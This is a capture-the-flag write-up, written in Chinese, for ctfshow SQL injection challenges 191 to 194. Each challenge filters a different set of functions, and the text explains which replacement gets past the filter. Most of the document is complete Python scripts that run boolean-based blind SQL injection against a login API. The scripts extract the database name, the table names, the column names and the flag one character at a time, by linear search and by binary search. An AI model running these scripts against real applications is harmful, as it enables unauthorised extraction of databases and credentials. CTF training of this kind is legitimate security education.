ctfshow sql 191-194

191 ascii过滤

发现ascii被过滤

ascii可以用ord来代替

import requests

url = "http://7620054f-1ea0-4231-950d-faad23a9dbe7.challenge.ctf.show/api/"
# payload = """admin' and if(ord(substr((select database()),{0},1))>{1},1,0)-- +"""
# payload = """admin' and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{0},1))>{1},1,0)-- +"""
# payload = """admin' and if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))>{1},1,0)-- +"""
payload = """admin' and if(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{0},1))>{1},1,0)-- +"""
flag = ''
for i in range(1, 100):
    for j in range(32, 128):
        payload1 = payload.format(i,j)
        data = {
            'username': payload1,
            'password': 0
        }
        response = requests.post(url=url, data=data)
        # print(payload1)
        # print(response.text)
        if r'''{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}''' not in response.text:
            flag += chr(j)
            print(flag)
            break

ascii可以用ord来代替

使用二分法确实很快

还不是很熟练

import requests

url = "http://7620054f-1ea0-4231-950d-faad23a9dbe7.challenge.ctf.show/api/"
# payload = """admin' and if(ord(substr((select database()),{0},1))>{1},1,0)-- +"""
# payload = """admin' and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{0},1))>{1},1,0)-- +"""
# payload = """admin' and if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))>{1},1,0)-- +"""
payload = """admin' and if(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{0},1))>{1},1,0)-- +"""
flag = ''
for i in range(1, 100):
    high=128
    low=32
    mid=(high+low)//2
    while (high>low):
        payload1=payload.format(i,mid)
        data = {
            'username': payload1,
            'password': 0
        }
        response = requests.post(url=url, data=data)
        # print(payload1)
        # print(response.text)
        if r'''{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}''' in response.text:
            low=mid+1
        else:
            high=mid
        mid = (high + low) // 2
        # print(payload1)
        # print(response.text)
    flag+=chr(mid)
    print(flag)

192 ord hex过滤

稍微修改一下payload

import requests

url = "http://6eb0028b-30a8-4bb0-812c-2649a645dff5.challenge.ctf.show/api/"

# payload = "admin' and if(substr((select database()),{0},1)>'{1}',0,1)-- +"
# payload = "admin' and if(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1)>'{1}',0,1)-- +"
# payload = "admin' and if(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{0},1)>'{1}',0,1)-- +"
payload = "admin' and if(substr((select group_concat(id,'---',f1ag)from ctfshow_fl0g),{0},1)>'{1}',0,1)-- +"
flag = ''
for i in range(1, 100):
    high = 128
    low = 32
    mid = (high + low) // 2
    while (high > low):
        payload1 = payload.format(i, chr(mid))
        # print(payload1)
        data = {
            'username': payload1,
            'password': 0
        }
        re = requests.post(url=url, data=data)
        # print(re.text)
        if r"\u7528\u6237\u540d\u4e0d\u5b58\u5728" in re.text:
            low = mid + 1
        else:
            high = mid
        mid = (high + low) // 2
        if chr(mid) == " ":
            break
    flag += chr(mid)
    # print(flag.lower().replace('{','_'))
    print(flag.lower())
    if chr(mid) == "}":
        exit()

193 过滤substr

substr被过滤，用mid代替

import requests

url = "http://34eb00fa-b503-432d-a143-005d5fbebb80.challenge.ctf.show/api/"

# payload = "admin' and if(mid((select database()),{0},1)>'{1}',0,1)-- +"
# payload = "admin' and if(mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1)>'{1}',0,1)-- +"
# payload = "admin' and if(mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flxg'),{0},1)>'{1}',0,1)-- +"
payload = "admin' and if(mid((select group_concat(id,'---',f1ag)from ctfshow_flxg),{0},1)>'{1}',0,1)-- +"
flag = ''
for i in range(1, 100):
    high = 128
    low = 32
    mid = (high + low) // 2
    while (high > low):
        payload1 = payload.format(i, chr(mid))
        # print(payload1)
        data = {
            'username': payload1,
            'password': 0
        }
        re = requests.post(url=url, data=data)
        # print(re.text)
        if r"\u7528\u6237\u540d\u4e0d\u5b58\u5728" in re.text:
            low = mid + 1
        else:
            high = mid
        mid = (high + low) // 2
        if chr(mid) == " ":
            break
    flag += chr(mid)
    # print(flag.lower().replace('{','_'))
    print(flag.lower())
    if chr(mid) == "}":
        exit()

194 left right substring过滤

上题的payload还是可以用

import requests

url = "http://f492d92e-4c73-4889-b003-db5f3acf051f.challenge.ctf.show/api/"

# payload = "admin' and if(mid((select database()),{0},1)>'{1}',0,1)-- +"
# payload = "admin' and if(mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1)>'{1}',0,1)-- +"
# payload = "admin' and if(mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flxg'),{0},1)>'{1}',0,1)-- +"
payload = "admin' and if(mid((select group_concat(id,'---',f1ag)from ctfshow_flxg),{0},1)>'{1}',0,1)-- +"
flag = ''
for i in range(1, 100):
    high = 128
    low = 32
    mid = (high + low) // 2
    while (high > low):
        payload1 = payload.format(i, chr(mid))
        # print(payload1)
        data = {
            'username': payload1,
            'password': 0
        }
        re = requests.post(url=url, data=data)
        # print(re.text)
        if r"\u7528\u6237\u540d\u4e0d\u5b58\u5728" in re.text:
            low = mid + 1
        else:
            high = mid
        mid = (high + low) // 2
        if chr(mid) == " ":
            break
    flag += chr(mid)
    # print(flag.lower().replace('{','_'))
    print(flag.lower())
    if chr(mid) == "}":
        exit()